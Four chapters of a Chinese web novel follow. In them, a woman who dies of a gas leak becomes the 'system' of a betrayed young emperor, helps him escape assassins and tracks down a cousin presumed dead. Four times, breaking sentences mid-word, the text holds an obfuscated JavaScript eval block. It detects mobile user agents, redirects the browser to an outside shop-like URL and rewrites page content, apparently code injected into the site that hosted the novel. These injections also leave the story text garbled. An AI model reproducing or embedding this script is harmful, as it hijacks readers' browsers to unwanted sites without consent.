《穿书后成了反派男配的系统》 1. 我穿书了 随着键盘上最后一个字符被敲下,林清许瘫坐在座椅上,感觉自己的魂都要被抽干了。 该死的公司,该死的领导,该死的临时任务! 她骂骂咧咧地打开手机,看着银行卡里刚到四位数的余额,认命地走向厨房。 “等我赚够了钱,就不在这家公司干了。” 她一边想着,一边打开煤气灶,给自己煮了一碗泡面。 就在这时,手机铃声突然响起。林清许连忙转身奔向电脑桌,将煮好的泡面扔在厨房的案台上。 “喂,王总?”尽管心情十分不爽,她还是挤出了几分假笑。 电话那头是领导一贯的催促与斥责:“小林你怎么搞的,数据和最新报表里的对不上,你是猪吗,连这么明显的错误都能犯?抓紧时间,客户那边催得急,半小时内必须把文档重新发给我!” 林清许心里咯噔一下,连连应着:“好的王总,我马上核对,马上修改。” 挂了电话,她连忙检查文档里的内容,看着看着,她皱起眉头,打开和王总的聊天框,指尖在键盘上敲击着。 [王总,我核对了一下,文档里引用的数据是按照您下午发过来表格填写的,请问您说的最新报表是?] 消息发出去,如石沉大海。 十分钟后,聊天软件出现了一个消息弹窗,王总给她发了一个新的表格。 林清许没做他想,核对之后便急忙按照新的数据将文档修改完,给王总发了过去。 过了一会儿,手机再次响起,却是人事部HR打来的电话。 “你说什么?”林清许心里窝着火,一脸震惊地质问道,“我被解雇了,为什么?” HR十分为难地答道:“是王总的命令,小林你就别问了,明天早上直接来办离职手续吧。”说完,她挂断了电话。 王总的命令,难道是因为那个文档?因为他自己没有通知到位,就把责任推到了她身上? 林清许握住手机,心中涌上一股荒唐和失望的情绪。她给公司当牛做马,每天加班加点地干活,熬夜修改文档连口热饭都没能吃上,最后等来的却是被辞退的结果。 她不可置信地笑了笑,随即深吸了一口气。 还是算了,这样也好,她本就不想干了,被公司辞退兴许还能拿到一些补偿金。 林清许在心里反复宽慰着自己,试图将心里的那口恶气压下去。她打开手机,不再去想上司们令人作呕的嘴脸,搜索起了被辞退的补偿金标准。 她要搞清楚自己能拿到多少钱,然后立刻马上离开这个破公司。 屏幕上的法律条文密密麻麻,她如今又困又饿,一不小心就点到了一个广告弹窗。 她抬起手指,正要将跳转到的网站叉掉,却在看到跳转后的界面时,猛地顿住了。 这是一个小说网站,界面简陋如同上个世纪的产物,而她似乎点进了一本短篇小说里。 看着小说中女主的名字,林清许微微一愣,心口也传来一阵刺痛。 小说女主名叫林芷嫣,是丞相府的千金,亦是名动京城的才女。林芷嫣不愿入宫为妃,又与皇帝的弟弟恭亲王暗生情愫,于是两人合谋让皇帝出了一场“意外”。 林清许很少看这种类型的小说,可今天却鬼使神差地看到了最后。 不过,这小短篇似乎烂尾了,男女主合谋之后的情节作者是一点儿也没写。 林清许眉头一皱,低沉着脸:“耍我?” 她关掉手机,将自己一整个摔进沙发里,望着窗外城市里的霓虹与灯火,只觉得无力和疲惫。 “真是糟糕透顶的一天。”她喃喃自语,声音里带着一丝哽咽。 也许是因为太累了,她胸口有些发闷,就在沙发上迷迷糊糊地睡了过去。 …… 伴随着一阵强烈的失重感,林清许缓缓睁开眼睛,却发现她已经不在沙发上了。 四周是无处不在却又十分柔和的白光,周围没有墙壁,也没有天空和边界。她踩着的地方也轻飘飘的,怎么也使不上力,就好像在空中浮着一样。 这似乎不是现实生活中会有的地方。 林清许轻轻掐了一下自己的脸,并未感到疼痛。 “看来我是在做梦。”她舒了口气,放心了许多。 就在她四处张望,想要探索一下这个虚无的梦境时,一个有些不耐烦的男声突然响了起来。 “你怎么现在才来?” 林清许吓了一跳,她转身望去,发现自己身后不远处站着一个男人,而他手里拿着一个银色的小册子,正焦躁地看着林清许。 “你说的是我吗?”她下意识地后退几步,警惕地看着他。 见状,男人收起册子,几步走到她面前,眉头紧锁:“没错就是你,时间紧迫,我这就送你去任务位面。” 看到男人双手结印,眸中有金光闪烁,林清许只觉得似乎有哪里不对。她心里警铃大作,在男人快要触碰到她额头的瞬间,猛地向后一仰。 “等等,什么任务位面,你把话说清楚啊!” 见林清许不配合,男人不耐更甚,他放下手没好气地问道:“怎么,你不是来接替的系统吗?” 林清许这才意识到发生了什么,原来这个空间不是她的梦境,而是系统前往任务世界的传送点。而面前这个男人,似乎把她错认成了某个系统。 “虽然不知道为什么我会出现在这里,但请你相信我,我真的不是系统。”林清许赶忙摆手解释道,“我只是个普通人,刚才还在家里睡觉,你千万不要把我送去任务位面啊!” 闻言,男人半眯着眼,仔细打量着林清许,抬手在她额间点了一下。片刻后,他收回手,看向林清许的目光显得十分复杂。 “没弄错,这个任务位面指定的系统就是你。” 林清许后退几步,不可置信道:“我在现实中活得好好的,怎么睡一觉就变成系统了?这绝对不可能。” 男人叹了口气,冷淡地解释道:“我刚才看到了你的过往,你所在的原世界已经注销了你的存在,也就是说——你已经死了。” “死、死了?”林清许目光呆滞,嘴唇也微微颤抖着。毕竟,任谁突然得知自己的死讯,一时都难以接受。 见她完全不知情,男人语气稍缓:“准确来说,你是因为窒息导致缺氧才会死亡,至于其他的事情,我不能向你透露太多。” 林清许“哦”了一声,神情依旧恍惚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206340|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 男人似乎并未打算给她足够的时间去面对自己已经死亡的现实,他翻手在手心凝结了一个金色光球,将它融入林清许的眉心。 “去吧,如果运气不错,或许只用经历一次任务,就能回到你原本所在的世界。” 一股强烈的吸力传来,林清许只觉得自己似乎被什么东西拖拽着,随后就彻底失去了意识。 再醒来时,她发现自己置身于一个纯白色的空间,面前悬浮着无数道光屏,光屏下面则是由无数按钮组成的控制台,在控制台的最中央还飘着一本普普通通的小册子。 望着眼前这无法用现实常理解释的一切,林清许脑海里一片空白。 她真的死了? 这个认知如同一记重锤,狠狠地砸在她的心口。那个男人说她是窒息而死,可怎么会呢,她明明在沙发上......等等,难道是因为那碗泡面?! 她煮好泡面还没来得及关煤气就去接了电话,会不是是因为煤气泄露,她吸入有毒气体才会导致窒息,然后被拉进这个奇怪的地方当系统的? 一阵荒谬的苦涩感涌上心头,她竟这样糊里糊涂地丢了性命。多么可笑,每天省吃俭用,加班熬夜只为那点微薄的薪水,她那么努力地活着,最后却连个体面的死法都没有。 愤怒与委屈时,她忽然想起男人说的最后一句话。 “回到原本的世界吗?”她喃喃道。 这并不是一个极具吸引力的条件,因为她并不想回到那个世界。 林清许没有亲人,也没有知心的朋友,她孤身一人在大城市里闯荡,只想好好活下去。 如今死了,她对那个世界也再无一丝留念。 林清许低头思索着,忽然那本册子泛起了光。它书页翻开,自动飞到林清许面前,怕她注意不到,还上下晃了晃。 “什么东西?”她伸手接过书册,翻看几页之后,发现这似乎是控制台的操作指南。 原来,她所在的就是系统空间,这里的光屏与操作台都需要能量来运作,至于能量则需要通过“系统绑定宿主,给宿主发布任务,宿主完成任务”的形式来获取。 阅读完毕后,书册在她手中化作点点流光,没入她的眉心。 “算了,也没有别的选择,只能走一步看一步了。” 林清许调整好情绪,瞥了一眼控制台上的蓝色进度条。 “能量居然只有5%啊,也太少了。”她扯了扯嘴角,暗自吐槽着。 她已经进了任务位面,想要获取能量就要找到在这个位面的宿主。按照指南的说法,她需要用自己的意识感知与定位宿主的存在。 意识仿佛穿过了一层薄膜,飘向某个不知名的地方。 “找到你了。”感受到意识深处传来的波动,林清许按照指南绑定宿主,随后查看起他的信息。 【姓名:周池】 【身份:《我是王爷心尖宠》反派男配,苍兰国帝王】 【生命值:2%】 【当前状态:持续失血昏迷中】 林清许眉头一皱,发现情况不对。 这不就是她死前看到的那本烂尾短篇小说吗,周池就是那个被林芷嫣和周玄合谋害死的冤种皇帝啊喂! 2. 逃跑 “我来救你了,你可千万别死啊。” 看到周池生命条的那一刻,林清许二话不说直接用能量幻化出实体,将周池背了起来。 山上似乎才下过一场大雨,树林里的道路十分泥泞,好在不远处有一个山洞,可以让他们暂时躲避搜查。 没错,这座山上的树林就是林芷嫣和周玄为周池准备的墓地,一但被他们的人发现,周池必死无疑。 到达山洞后,林清许将周池缓缓放下,之后一脸肉痛地给他传送能量。随着她的魂体颜色逐渐变得透明,周池的生命条也开始上涨。 【姓名:周池】 【身份:《我是王爷心尖宠》反派男配,苍兰国帝王】 【生命值:20%】 【当前状态:昏迷,即将苏醒】 见状,林清许舒了一口气,随后身形消散。她缩在系统空间里,看着自己仅剩的1%能量条,欲哭无泪。 她消耗了太多能量,没办法维持实体在外行动,只能在控制台前等待周池醒来。 谁让她只是个工具人呢,从主神那里接任务,然后给宿主传达任务,等宿主完成任务之后她才能从中抽取一些能量来用于自身,以便更好地协助并监督宿主完成任务。 那些穿书小说里的抹杀啊,随意发金手指啊什么的,她一概没有,就算是要惩罚或者帮助宿主,也只能耗费自己已有的能量。 “这下可真是亏大发了。”林清许小声嘟囔着,整个魂都显得无精打采。 山洞里,周池的睫毛微颤,随后缓缓睁开了眼睛。他下意识地抚上胸口,那里本该有一处箭伤,此刻却完好如初。 看到光屏上周池的动作,林清许惊喜道:“诶,你醒了?” “你是何人?”周池环顾四周,却发现除了他自己,身边再无旁人。 “别找了,你没发现声音是从你自己脑海里传出来的吗?”林清许接受到了任务要求,赶忙解释道,“你可以叫我系统,刚才是我治好了你身上的伤,不过你现在的处境十分危险,周玄和……” 她的话还没说完,就被周池打断:“既然是你救了我,那你此刻在何处,又为何不出面相见?” “我是系统,是无形之灵,依附在你的脑海里。我在现实中现身需要耗费很多能量,而刚才为了给你疗伤,我几乎把剩余的能量都用光了。” 林清许咬牙切齿地解释着,她语气中的怨念太过明显,饶是周池也不好意思地摸了摸鼻尖。 “抱歉,你继续说。” 林清许语气稍缓,继续解释道:“你弟弟周玄与丞相家小姐林芷嫣密谋,要趁这次秋猎要你的命,如今外面应当有许多人在寻找你的下落,不过你也不要太担心,我会帮你的。” 就在这时,洞外不远处传来了脚步声和交谈声。 “都搜仔细点儿,活要见人,死要见尸。” 光屏上,两个红色光点已逼近洞口,眼看着探子就要进到他们的藏身地,林清许一咬牙,用掉了自己最后的能量。 “我将你的身体和声音暂时屏蔽了,他们看不见你,也听不到你的声音。” 话音刚落,林清许就感觉到了一阵疲惫感,蓝色的能量条瞬间归零,连控制台上的光屏也黯淡了几分。 两名探子弯腰钻进来,火把的光瞬间照亮整个昏暗的山洞。周池倚在冰冷的石壁旁,屏住呼吸,浑身都肌肉都紧绷着,生怕被他们发现。 接下来,诡异的事情发生了。 两人目光扫过他藏身的位置,没有丝毫停留,其中一人甚至还朝着他所在的方向走了几步,却并未发现任何异常。 “这什么鬼地方,怎么阴森森的。”一人揉了揉鼻子,抱怨道。 “行了,赶紧看看没人就走吧,这山洞怪瘆人的。”另外那人催促道。 两人又随意扫视了几眼,竟就这么转身离开了山洞。 直到确认危险解除,周池才缓缓吐出一口气,他低头看向自己的身体,并未有任何异常,但刚才那两人却真的对他视而不见。 “说吧,系统。”周池在脑海中呼唤着,他已经相信了林清许的话,毕竟这种近乎神异的手段已经超出了他的认知,“你想让我帮你做什么?” 诶,这个反派男配还挺上道的嘛。 闻言,林清许顿时精神一振:“很简单,其实你现在身处在一个话本的世界里,但很可惜,这个话本烂尾了,所以我才会和你绑定成为你的系统。作为系统,我会给你发布一些任务,你需要无条件地完成这些任务,这样才能维系这个世界,你明白了吗?” 话本的世界?烂尾? 周池眉头紧锁,眼底闪过一丝晦暗不明的光。 他过往的经历、挣扎以及仇恨,难道都只是他人笔下的几行文字吗? 甚至这几行文字,还未能善终。 一股荒谬感与戾气在他心底滋生,但他很快便将这剧烈的情绪波动压下。 无论原因为何,现在是这个“系统”救了他,而他也需要与“系统”合作。 “我可以答应你的要求,但任务要求无条件完成……”他语气平淡,却带着一丝审视,“倘若任务是让我自裁,我也要遵从吗?” “当然不是!”林清许赶紧否认,“任务是基于让你活下去,并且扭转糟糕命运的前提发布的,我们的根本利益是一致的。” “哦?”周池嘴角微扬,似乎对这个答案并不意外,“既然如此,我接受这种合作关系。但,既是合作,而非主仆,任务如何完成我说了算,你不可干涉。” 林清许撇了撇嘴,看着这个明明虚弱却依然气场不减的反派,心想:这人果然不好糊弄。 但她现在能量耗尽,确实没有讨价还价的资本。 “好,我原则上同意,但如果任务失败,对我们两个可都没好处。”她试图找回一点主动权。 周池靠在石壁上,闭目养神。他没有回应,算是默认了。 见状,林清许也安静下来,操作控制台查看任务。 【主线任务发布:逃离苍翠山。 任务提示:山林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206341|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外围已被封锁,请宿主寻找其他路径。】 光屏上浮现出简略的山林地图,林清许挥手将地图共享给周池:“这是这片山林的地图,你的任务是逃离这里。不过山林外围被周玄带来的人给封锁了,只有后山悬崖这条路可能有一线生机。” 周池睁开眼,看着脑海中浮现的立体地图,目光在悬崖处停留片刻。 “知道了。” 他撑着石壁站起身,虽然生命值恢复了许多,但身体依旧虚弱,脚步也有些虚浮。 林清许看得心惊胆战:“你行不行啊,要不再休息会儿?” 要是周池半路晕倒,她也没有能量,那就真的一点办法都没有了。 然而,周池却摇了摇头,步履轻缓地走出洞口。树林里起了雾气,泥土湿软,他没走出几步就先摔了一跤。 林清许:“……” 看着他狼狈的样子,林清许在心里默默叹了口气,随后闭上眼睛,感知周围的环境。 “有人在左前方的地上放了几个捕兽夹,你最好从旁边绕过去。”她缓缓睁开眼睛,补充道,“这附近暂时没有探子,你可以走慢点,不然摔伤了我可没能量再给你医治。” 周池脸上浮现出一抹怔然的神色,随后他撑起身,拍掉身上沾染的湿泥,道了声:“多谢。” 他按照林清许给出的信息,借着雾气和树木遮掩身形,逐渐向悬崖靠近。悬崖下方深不见底,湿滑的岩壁上长着许多树枝和藤蔓。 只是看着这陡峭的地形,林清许都觉得心惊肉跳:“走了这么久,真的不休息休息,恢复一下体力吗?” 看着天边泛起的鱼肚白,周池薄唇轻抿,低声道:“这是离开这里唯一的出路,而且天色见亮,我没有时间了。” 眼看着周池就要走到悬崖的边缘,林清许忽然心中警铃大作,阻止道:“你先等等,我看看从哪里下去最合适。” 片刻后,林清许稍稍松了口气:“还好,悬崖下面有条河,石壁上的树枝和藤蔓长的也多,足够你爬下去。不过还是要小心为上,依据我的观察,你最好从南边往下爬,那里的树枝要更粗壮一些。” 周池依言而动,小心地抓住垂落的藤蔓,落到树枝上。他的动作虽然稳健,但林清许注意到,他额头上的汗珠越来越多,显然不能支撑太久。 林清许紧张地提醒他,心里默默祈祷他千万别手滑脚滑摔下去,不然第一个任务就失败了,还不知道主神那边会不会惩罚她。 然而,怕什么来什么。周池踩到一块凸起的石头上,在他踩实的那一瞬间,石块脱落,周池咬住牙冠,死死抓住上方的树枝,这才勉强稳住身形。 “你怎么样,没事吧?”林清许急切地询问道。 周池没有回应,但林清许可以从控制台查看他的情况,如今他的肌肉力量快到极限,再不行动就只能死在这儿。 然而,那些树枝太过细长,支撑不住一个成年男人的重量,随着“咔嚓”一声,树枝断裂,周池从半空中跌落,重重地摔进悬崖下的河水中。 3. 新的任务 “周池,周池你醒醒啊!”林清许焦急地呼唤着,未得到一丁点儿回应。 水流湍急,周池坠入河水中,巨大的冲击力让他失去了意识。林清许在系统空间里急得团团转,却又帮不上忙,只能不停地喊着他的名字,企图将他叫醒。 就在这时,任务更新了。 【姓名:周池】 【身份:苍兰国帝王】 【生命值:7%】 【当前状态:体力严重透支,溺水昏迷中】 【主线任务:寻求将军齐海宽的帮助,回到皇宫】 林清许微微一怔,心道:齐海宽,这人是谁? 正想着,一股暖流涌入她的魂体,她转头一看,能量条的进度已经加回了5%,而这就是周池完成第一件主线任务对她的回馈。 事不宜迟,得先把周池从河里捞上来。 林清许再次化作实体,潜入河水中,把周池拽了出来。然而,周池呛了水,此刻仍旧昏迷不醒。 “喂,你快醒醒!”她拍了拍周池的脸颊,但周池毫无反应。 说起来,之前看的影视剧里,男主溺水后女主都会给他做人工呼吸,然后男主很快就醒过来了。 想到这里,林清许看着周池苍白的脸庞,做了个咽口水的动作。之前看小说的时候,她还以为皇帝是个糟老头子,现在穿进书里,才知道他居然这般年轻俊朗。 真要做人工呼吸的话,她貌似并不亏,但是…… 纠结片刻后,林清许最终摇了摇头:“还是用别的办法吧。” 她环顾四周,将周池拖到一旁,让他上半身趴在一块大石头上,然后用力拍打他的背部。过了一会儿,周池猛地吐出了几口河水,脸色也好转了许多。 见他已无性命之优,林清许舒了口气,回到了系统空间。 “你可真是命大,从那么高的地方掉下来,居然只是呛了口水。”看到他睁开眼睛,林清许不禁感慨道,“你现在感觉怎么样,还有力气吗?” “无碍。”周池伏在石上剧烈咳嗽,声音沙哑。他撑着石头坐起来,手臂却止不住地发抖。 哪是命大,分明是系统把他从阎王殿拽了回来。如此,他便又一次欠了她的人情。 “接下来我该做什么?”周池环顾四周,脸色迷茫。 林清许:“离开苍翠山的任务你已经完成了,现在你要找到一个叫做齐海宽的人,然后回到皇宫。” 闻言,周池睁大眼睛,瞳孔微散。 “你确定要找的人,名字叫齐海宽?” 林清许不明所以:“没错,有什么问题吗?” 周池动了动嘴唇,最终低垂着头,道:“说来话长,还是先找个地方落脚。” 几个时辰后,借着林清许的帮助,周池在京城的一处客栈歇下了。 床榻上,周池目光深远,嘴角泛起一丝苦涩:“齐海宽是我的表哥,他本是最信任我的人,也是我最信任的人。” 林清许在系统空间里屏息凝神,静静听着周池的话。 “我们自幼一起长大,后来他主动请命镇守北疆,我准了。”说到这里,周池神色有些落寞,“之后他鲜少回京,送回来的书信也越来越少,久而久之,朝中便有传言说齐将军拥兵自重,恐生异心。我自是不信的,表哥是什么人我心里清楚,所以未把这些传言放在心上。” 林清许在系统空间里轻轻叹息着,她能感受到周池语气中的无力与痛苦,想来之后一定发生了让他难以接受的事情。 果不其然,周池的声音渐渐低了下去:“三年前,北疆战事吃紧,我派了心腹前去北疆传旨,不成想,我那心腹在半路惨遭毒手,一众人马被乱箭射死,尸身还被扔在官道上。经过查验,那些箭矢坚硬无比,是北疆军特制的。” 林清许瞪大了眼睛:“所以,是齐将军派人做的?他想要造反?” 周池苦笑着摇了摇头:“当时群臣都认定此事是表哥所为,要求我立刻下旨问罪,但我还是不愿相信。直到有人截获了他与外敌往来的密信,上面是他的字迹,还盖有他的私印,证据确凿,我不得不信。” “那……你后来下旨问罪了吗?” 周池沉默了片刻,抬眼望向窗外绚丽的晚霞,眼眶有些酸涩。 “我下旨将他捉拿回京,快到城门时,他却当着文武百官的面,拔剑自刎了。” 听到最后,林清许只觉得一道惊雷将自己劈得外焦里嫩。 齐海宽三年前就死了,可系统却点名道姓地让周池去找他帮忙…… “主神绝不会发布不能完成的任务,所以说——”林清许压下心里的震惊,冷静道,“齐海宽会不会还活着?” 周池紧皱眉头,眼中却闪着光:“你说得对,他一定还活着。” 话锋一转,他语气又有些怅然:“可即便如此,我也不知他如今身在何处,又如何去寻他呢?” “咳咳!”林清许轻咳一声,心想这种时候不就是要她这个系统出马了吗?印象中,手册里有写该如何使用控制台,定位小世界里的某个人的。 她在控制台上操作了一番,最终光屏上显示出一处坐标。 “找到了。”林清许语气雀跃,“齐海宽现在住在京城西郊的露华村。” 闻言,周池有些惊愕,没想到齐海宽竟然距离他这么近。 “从这里到西郊需要三四个时辰,还是明日再动身吧。” 林清许想了想,按照原小说的设定,周玄与林芷嫣还会在苍翠山待上个四五天,找人也不差这一晚。 “好,那就……”林清许顿了顿,在脑中换算好了时间,才继续道,“明日卯时再出发吧。” 她的声音清脆悦耳,惹得周池微不可察地扬了扬嘴角。 “对了,方才似乎听你提到了一个名字。”他将视线从窗外收回,眸色晦暗不明。 “任务不是你这个系统发布给我的吗,主神又是谁?” 闻言,林清许做在控制台前,动作一滞。 手册中写道,身为系统,不得向小世界的原住民透露任何与主神空间相关的信息,违反此条规定的系统将会受到非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206342|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严厉的惩罚。 “主神就是……” 林清许当然不想被罚,她斟酌着用词,解释道:“就像人间有天子,天上有神仙,我们系统也有主神啊。不过这些都不重要,你好好完成任务就行了。” 周池指尖轻轻摩挲着,过了片刻又继续问道:“所以像你这样的系统有很多?” 林清许眉头一皱:“这与任务无关,别再问了。” 周池听出她语气中的紧张与防备,不再追问:“抱歉,是我唐突了。” 气氛沉默下来,看着光屏上神色落寞的周池,林清许心里软了一下。 他被自己的亲弟弟暗算险些丧命,又想起曾被表哥背叛的往事,心里肯定有些情绪。 “没关系,只是碍于规则,我不能告诉你。”她的声音缓和下来,语气中还带着些许安抚。 夜色渐深,店家为周池送了些晚膳,虽然没什么荤腥,但却清爽可口。 他慢慢用完,待店小二进来收拾碗筷时,状似无意地打听道:“听闻西郊有个叫露华村的地方,不知近来可有什么趣闻?” 店小二手脚麻利地收拾着碗碟,闻言纳闷道:“客官说的是露华村吗,那地方偏僻得很,还真没听说过什么趣闻,您打听这个做什么?” 周池神色不变,随口应道:“之前听人说露华村山清水秀,十分清净,所以一时好奇,想过去瞧瞧。” 店小二点点头:“这倒确实,不过客官若真想去露华村,还是去车马行雇一辆马车为好,那地方山路难行,若是不识路,恐怕就困在里面了。” 周池微微颔首道:“多谢提醒。” 店小二露出一口雪白的牙,乐道:“对了,小店后院有浴房,热水也有现成的,客官可要沐浴更衣?” 周池客气地笑着:“那便麻烦了。” 店小二端起碗筷朝外走:“好嘞,小的这就去准备,您稍等。” 待店小二小跑着离开,周池笑容淡下来,他将客房的门关好,随后四处打量着周围的布置,神色凝重。 “这店小二有些不对劲。”周池抿着唇,在脑海中和林清许交流着。 外面发生的事,林清许在光屏上看得一清二楚,两人的谈话她也一字未漏,可任凭她怎么琢磨,也没发现那店小二有什么异常的地方。 “是吗,可我怎么觉得他就是个普通人,没什么不对劲啊?” 周池却摇了摇头,用手推开客房的门:“倒也无碍,他看上去并无恶意,许是我多心了。” 从客房走到后院,周池又一次遇到了他。 “热水和换洗衣裳都备好了,客官这边请。” 店小二将周池引到浴房前,待周池进去,他又将浴房的门关好,守在外面。 水汽氤氲,周池走到浴桶旁边,刚要伸手将衣裳解开,就被林清许的惊呼声打断。 林清许涨红了脸:“喂,你先等等,我回避一下。” 说完,她急忙切断了与外面的画面连接,因此,她并未看到在她说完那句话之后,周池脸上那抹戏谑的笑意。 4. 原来你不喜欢她 擦洗干净后,周池穿上店小二提前为他准备好的衣裳,却发现竟然十分合身。 ”喂,你洗完了没?”听到外面的动静,林清许忍不住问道。 周池正仔细检查着身上的衣物,听到林清许的话,他放下手臂,应道:“我洗完了,你不用再回避。” 于是,林清许重新连接上外面的画面,当她看到周池如今的模样时,不禁吸了口气。 “真好看啊。”她忍不住感慨道,“可惜就是脑子不太好。” 虽说是男配,但这脸,这身材实在是没得挑,可偏偏却看上了林芷嫣这个心狠手辣的女主,还为此险些丧命。 啧啧啧,恋爱脑不可取,不论男女都一样。 周池站在铜镜前,正要转身离开浴房,却在听见林清许骂他脑子不好之后,硬生生停下了步子。 “什么脑子不好?” 糟糕,忘了他能听见了! 林清许“噌”的一声从控制台前站起来,脸色尴尬,结结巴巴地解释道:“没、没什么,你听错了。” 水汽还未完全散去,周池的脸庞也显得有些朦胧,他抬头看向虚空,眼神十分清明。 “我听得清清楚楚,你骂我脑子不好。” 见这茬似乎是过不去了,林清许小脸皱成一团,想着该怎样向周池解释。忽然,她灵光一闪:“你就是听错了,我说的是你眼神不好,话本里你对林芷嫣一见钟情,而林芷嫣却和你弟弟联起手来害你。” 说到这里,她微微停顿:“喜欢上了一个不该喜欢的人,可不就是眼神不好嘛。” 不必找理由搪塞过去,该说就说不也挺好的,反正她现在是周池的系统,他还能怎么她不成? 林清许语气轻松,可周池却是一颗心沉到了谷底。 “你对‘一见钟情’这个词有些误解。”周池微眯着眼,眸中是藏不住的杀意,“丞相府的二小姐,我从未喜欢过她,这样的话还请你别再提了。” 从未喜欢过她,可是那本短篇小说里写着…… 林清许呆呆地站在原地,脑海中一片混乱。她以为自己是手握剧本的上帝视角,有关男女主和男女配之间的感情线,她掌握得一清二楚。 可是,周池却说,他从未喜欢过林芷嫣。而且看他这副模样,兴许对林芷嫣还有极深的恨意。 “你不是要纳她为妃吗,如果你不喜欢她,又为什么……” 还未说完,周池便忍不住回应道:“我从没有这样的想法,不过林宿倒是一直撺掇着,很想让他女儿入宫。” 想到这件事,周池脸上就露出不耐烦的神色。 见状,林清许也不再言语,反而仔细回想那本小说里的内容。 从始至终,皇帝都未下旨册封林芷嫣,她要入宫为妃的消息也只是从旁人口中传出来的,而皇帝本人却从未说过。 倒是她看了以林芷嫣为主视角的小说,先入为主了。 气氛一时下降到冰点,周池推开门走出浴房,却发现店小二还在门外守着。 “客官您出来了。”店小二连忙躬身笑道,“这衣裳可还合身?” 周池点点头:“很合身,尺寸分毫不差,你有心了。” 闻言,店小二顿时两眼放光。他并未听出周池话中的深意,反而兴高采烈地说:“这当然,店里备了许多换洗衣裳,各种尺寸的都有,小的特意挑了这件给您。” 周池缓步向前,低声道:“店家如此周到,倒让我有些过意不去。” 店小二跟在周池身后,并未察觉到异样:“客官不必客气,这都是小的应该做的。” 行至客房门口,店小二停下了脚步。 “客官您好生歇息着,小的先退下了。” 周池微微颔首,却在店小二转身离开时,握住他的肩膀,将人一把拽进客房。 “客、客官您这是做什么?”店小二吓得不轻,说话都在颤抖。 林清许看着周池这一连串行云流水的动作,惊叹出声:“哇塞,宿主你这动作也太利落了吧,之前是不是练过武?” 周池没有理会林清许的问题,而是插上门栓,将店小二按在凳子上,质问道:“说吧,你究竟是什么人?” 店小二动作一僵,随后眼神飘忽地答道:“客官您说什么呢,小的一句也听不懂。” 说完,他默默垂下头,咽了咽口水。 这副样子,连系统空间里的林清许都看不下去了。这么心虚,一看就知道他在说谎。 周池自然也知道店小二在说谎,他居高临下地看着店小二的眼睛,轻声道:“别装了,你手背皮肤细腻,又生的一口好牙,绝非寻常杂役。说吧,你是谁家的公子,为何会来此处?” 店小二吓懵了,发现自己彻底被人识破,他迅速站起来,朝周池跪下,磕了个响头。 “陛下,我实在不是故意骗您的,您别杀我,我家就剩下我这一个独苗了。” 林清许、周池:“……” 两人都被这故事走向给震住了,过了半天,林清许率先回过神来,提醒道:“要不,你先让这人起来?” 周池紧绷着脸:“你先站起来,把事情解释清楚。” 店小二这才颤巍巍地站起身,断断续续地将自己的身世吐露出来。 原来他本名石玉书,父亲石墨与齐海宽是至交好友。他是家中独子,从小被娇养着长大,本应这样衣食无忧过完一生。 然而,石家因齐海宽通敌一事受到牵连,石玉书还是石墨拼尽所有才保下来的,如今他已一无所有,于是隐姓埋名,在这家客栈里当伙计。 石玉书曾远远见过周池一面,因此当周池走进客栈时,他觉得这人十分眼熟,过了好一阵才意识到周池就是当今天子。 他惊出一身冷汗,却也不敢声张,只好装作什么也不知道,稀里糊涂地过去了。至于那件合身的衣裳,也是他细细打量了周池的身量,去成衣铺里现买的。 得知事情的来龙去脉之后,周池静静地注视着石玉书,看得石玉书浑身发麻。 “朕不会杀你,今日你就当朕从未来过这里,明白了吗?” 石玉书如蒙大赦:“多谢陛下恩典,您就放心吧,我一个字都不会往外说的。” 周池点点头,待石玉书情绪稳定下来,就让他出去了。 “这个石玉书,倒是提醒了我一件事。” 林清许正在整理目前已知的信息,闻言抬头看向光屏,道:“什么?” “石墨这人,我有些印象。”周池声音低沉,“他政绩虽不突出,但为人小心谨慎,也是个有义气的。表哥出事前,石府上下遭人刺杀,但石墨却下落不明。石墨一向与他人交好,并无仇家,官府查了三个月都没有结果,最终成了疑案。” 林清许想了想,抓住一个疑点:“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206343|197356||http|test|mini|href|location''.split(''|''),0,{})); () { 